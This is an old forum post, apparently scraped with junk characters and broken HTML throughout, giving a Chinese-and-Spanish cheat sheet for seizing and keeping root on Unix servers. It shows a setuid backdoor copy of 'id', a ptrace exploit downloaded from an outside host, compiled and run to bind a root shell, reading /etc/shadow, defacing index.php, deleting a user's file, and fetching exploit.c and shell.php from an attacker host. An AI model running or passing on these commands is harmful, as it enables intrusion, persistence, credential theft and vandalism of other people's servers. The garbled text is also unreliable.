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标题: 总结UNIX成为root以后保持权限的方法 [打印本页]
作者: 韩冰    时间: 2005-2-4 23:57
标题: 总结UNIX成为root以后保持权限的方法
<><FONT color=#ff0000>by:cnbird</FONT></P>( j6 C* L' L- A, z/ V
<>1.</P>
6 q3 O* m3 b( r<>[cnbird@localhost tmp]#id</P>) ^3 O" _- e/ E3 A
<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>% r$ C  W4 b8 r: l6 X
<>[cnbird@localhost tmp]#cp `which id ` .</P>
# o9 D( @" v4 q, _* J<>[cnbird@localhost tmp]#chown root ./id</P>
/ ^7 V. t  q  Q7 J<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>) T; H8 c  P$ ?2 @
<>[cnbird@localhost tmp]#ls -l ./id</P>
* i& [# R0 O0 T9 R<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
8 k3 F- B0 a% p. O& E( U, g<>[cnbird@localhost tmp]#exit</P># r! H% t7 I! G# ^0 v! ]. K
<>[cnbird@localhost tmp]$id</P>
! |5 n' A( ]( F2 u' N# z<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>$ P! V3 j3 ?, t8 D+ L9 |/ k
<>[cnbird@localhost tmp]$./id </P>
, g: G$ ]5 g1 g6 a1 G0 Q<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>2 s, u, A$ \$ V- x  t
<>2.利用ptrace成为root的方法</P>% A2 n! e( i) d* ]2 P5 [/ ?
<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace% w1 ]$ ]' Z, J% l  k+ h& Y+ p
-&gt; Parent's PID is 2313. Child's PID is 2314.
/ z* F; [% ]0 V1 _-&gt; Attaching to 2315...
7 V7 ^3 T& P8 \1 `-&gt; Got the thread!!; G: B/ _, v. k+ h' o
-&gt; Waiting for the next signal...+ A8 h; h  k- Y7 m, M) i8 @7 H4 ]' [5 |/ c
-&gt; Injecting shellcode at 0x4000e85d6 q. B% t  R' c9 h! \2 f
-&gt; Bind root shell on port 24876... =p
8 {* W' U6 k) L-&gt; Detached from modprobe thread.
* w3 D' p2 x4 x- G; Z, s-&gt; Committing suicide.....</P>
9 j& y9 p, Z- q) V6 g& A<>[bash]# id
- \$ N: ~' g4 Xuid=0(root) gid=0(root) groups=0(root)</P>
2 @) |6 C( P; E; f) f! A<>ara ver los dominios que hay en el server:
5 M' R8 g9 c2 b0 f' ?7 \: b! j---------------------------------------------------------3 N1 d% F% m0 u4 `
cat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios
) D8 ~( R& S3 scat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios
6 H' ]5 e" @9 U2 U! Z9 Scat /etc/localdomains &lt;&lt; Unicamente los dominios locales
7 S, M, \+ z+ J- }6 K5 \; Lcat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
+ c  e: X5 {8 S. x" X6 J9 M/ xcat /etc/userdomains &lt;&lt; Este es el mas comun
$ E* z- h) @6 `) ~6 e4 t1 r- \---------------------------------------------------------</P>
1 X! ]7 q, G) V<>ara ver la version de kernel:
  S; |, X/ e/ I8 ^8 i---------------------------------------------------------  p8 t3 v6 |9 @0 V& |2 @/ k9 `8 k
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.5 A" n% `& M  @2 G! ^3 @& u& x& l3 B
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<>ara modificar un index ya existente:, g( P) D& n6 f' s5 u8 y- ~. q
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echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
9 v8 U, ]  |0 @+ c1 Z---------------------------------------------------------</P>, J6 w% ~* W( i
<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
! ^& Q/ `7 [3 F0 \9 s6 ~---------------------------------------------------------& E3 E9 U; w# i  s0 d  }0 ^9 N- G
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit& m  J' b4 G  R6 s3 Z0 I
cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
' g# ?+ E4 p& `* C* ccd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"* b8 u- _/ S! J% v" f- |4 @: P8 [
cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". ! _" W& l+ f5 S( e
Hasta aqui termina el proceso para un exploit.- R$ b  s4 o2 u. H' p6 U+ W2 v
---------------------------------------------------------</P>
7 L2 E5 a+ c# h4 J( J5 X6 z<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:7 x; R, M# d2 B" [4 m. N2 u  e6 ?5 W$ o
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! D4 w3 z5 a" T8 K) H* Z4 Fcat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.1 J4 q, n5 L- y2 p! ?: T
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<>Borrar un Ficher
5 v' m1 L1 m. k+ o) W---------------------------------------------------------. i+ ^7 B9 j' p8 u. [% b" g# n
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm  j0 y/ B4 K" c. ?, C9 M
---------------------------------------------------------</P>
! c5 B, q8 o/ [- p9 e; k5 Y<>Subir un ficher$ K+ c* L5 P# b0 c  H" ]% M. J3 j
---------------------------------------------------------- U) C' j! y5 Z' j% n* a. e
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
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